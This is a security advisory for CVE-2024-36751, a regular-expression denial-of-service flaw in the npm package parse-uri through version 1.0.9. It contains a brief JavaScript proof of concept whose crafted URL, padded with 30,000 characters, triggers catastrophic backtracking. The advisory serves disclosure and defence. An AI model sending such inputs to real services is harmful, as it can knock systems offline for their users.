medium6.9
CVE-2024-36751
parse-uri Regular expression Denial of Service (ReDoS)
Impact
An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL. ## PoC ```js async function exploit() { const parseuri = require("parse-uri"); // This input is designed to cause excessive backtracking in the regex const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value'; const result = await parseuri(craftedInput); } await exploit(); ```
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | parse-uri | <= 1.0.9 | none recorded |
| npm | parseuri | < 2.0.0 | none recorded |